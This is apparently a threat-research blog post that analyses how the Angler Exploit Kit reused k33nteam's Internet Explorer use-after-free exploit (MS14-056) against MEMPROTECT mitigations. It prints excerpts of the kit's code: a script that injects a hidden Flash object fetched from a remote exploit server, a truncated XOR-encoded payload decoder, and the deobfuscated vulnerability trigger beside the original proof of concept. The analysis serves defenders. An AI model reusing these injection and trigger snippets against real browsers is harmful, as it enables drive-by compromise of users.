Angler Exploit Kit Using k33nteam’s October Internet Explorer Use After Free

In 2014, Microsoft introduced heap corruption mitigations into Internet Explorer (IE), such as an isolated heap for certain objects, and a delayed free (collectively referred to as MEMPROTECT). While the mitigations are not unbeatable, they increased the difficulty for exploit authors developing new IE exploits as evidenced by the absence of new IE exploits discovered in the wild.

k33nteam demonstrated a method for exploiting  a certain use-after-free (UAF) vulnerability in the presence of IE’s MEMPROTECT mitigations in a blog post back in October. The vulnerability was patched in Microsoft’s October release MS14-056.

The Angler Exploit Kit (EK) recently implemented a modified version of k33nteam’s exploit targeting the same patched vulnerability. This is interesting because it is the first instance we’ve seen of an attack in the wild targeting IE deployments that are using Microsoft’s new MEMPROTECT mitigations. It shows that exploit authors are still interested in attacking IE.

Thankfully, the exploitation technique does not include a generic bypass for MEMPROTECT. The vulnerability is a UAF with MSHTML!CTitleElement that MEMPROTECT was not designed to mitigate. As a result, some of the employed techniques (particularly the modified garbage collection routine) were not necessary. So, in the future, exploit authors will need to find a reliable way around the delayed free, or bugs with another object that falls outside of the CMemoryProtector’s domain.

Exploit Details

The exploit starts obfuscated with the same techniques as usual:

  • <script> tags interleaved with randomly generated html objects and excerpts from a book.
  • <p> tags later grabbed by their ID that contain encoded (base64) data
  • Name mangling
  • Whitespace mangling
  • String obfuscation

Underneath the first layer of obfuscation, there are a few stages. The first looks for anti-viruses, security tools, and virtual machines (e.g., Kaspersky, VMware, VirtualBox, Parallels, Fiddler).

It can optionally serve a Flash file (seen with CVE-2015-0313):

if (window.sf325gtgs7sfdf1) {

    var klfg1 = 'wri',

        klfg2 = 'te';

    function getKolaio() {

        return JSJVA(hbFhzp1hbFhzp3);

    }

    function getTxl(a) {

        return JSJVA(hbFhzw1hbFhzw3);

    }

    function getVariable(a) {

        return JSJVA(hbFhzr1hbFhzr3);

    }

    var mirtul = "1";

    var txt = '<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" allowScriptAccess=always width="1" height="1" id="23kjsdf">';

    txt = txt + '<param name="movie" value="http://' + getKolaio() + '/' + getTxl(mirtul) + '" />';

    txt = txt + '<param name="play" value="true"/>';

    txt = txt + '<param name=FlashVars value="exec=' + getVariable(mirtul) + '" />';

    txt = txt + '<!--[if !IE]>-->';

    txt = txt + '<object type="application/x-shockwave-flash" data="http://' + getKolaio() + '/' + getTxl(mirtul) + '" allowScriptAccess=always width="1" height="1">';

    txt = txt + '<param name="movie" value="http://' + getKolaio() + '/' + getTxl(mirtul) + '" />';

    txt = txt + '<param name="play" value="true"/>';

    txt = txt + '<param name=FlashVars value="exec=' + getVariable(mirtul) + '" />';

    txt = txt + '<!--<![endif]-->';

    txt = txt + '<!--[if !IE]>--></object><!--<![endif]-->';

    txt = txt + '</object>';

    try {;

    } catch (e) {}

    document.getElementById("Gtr56Se").innerHTML = txt;

}

 

Or the IE exploit. The IE exploit is encoded:

function e(){

   var a;

   a=unescape('@VJ\u0013FAAV\u0014A@BT\n\u001f@h@...’) ;

   a= unescape(a);

   for(var b='',c=0;c<a['length'];c++) {

      b+=String['fromCharCode'](a['charCodeAt'](c)^'678345'['charCodeAt'](c%'678345'['length']));

   }

   return b

};

Upon decoding the exploit, one can see its similarities to k33nteam’s CVE-2014-4130 proof-of-concept. Below is the deobfuscated vulnerability trigger:

K33nteam proof-of-concept

Deobfuscated Angler sample

function listener(event) {    

  head.removeNode(true);

}

 

function test() {    

  var object = document.createElement("object");

  head = document.getElementsByTagName("head")[0];

  head.applyElement(object, "inside");       

  object.addEventListener("error", listener, false);           

  var range = document.createRange();      

  range.setStartAfter(object); range.insertNode(object);

  object["innerHTML"] = object["innerHTML"];

  document.write("");

}

function rtwK() {

  var a = document['createElement']('object');   

  rtwy['applyElement'](a, 'inside');

  a['addEventListener']('error', rtwM, !1);

  var c = document['createRange']();

  c['setStartAfter'](a);

  c['insertNode'](a);

  a['innerHTML'] = a['innerHTML']; 

  CollectGarbage();

  rtwx();

  window['setTimeout'](rtwN, 100)

}

Credits

Thank you to: Yasir Khalid and Sai Vashisht for finding and prioritizing the issue; Genwei Jiang and Corbin Souffrant for their analyses; and MSRC for collaborating with us on this issue.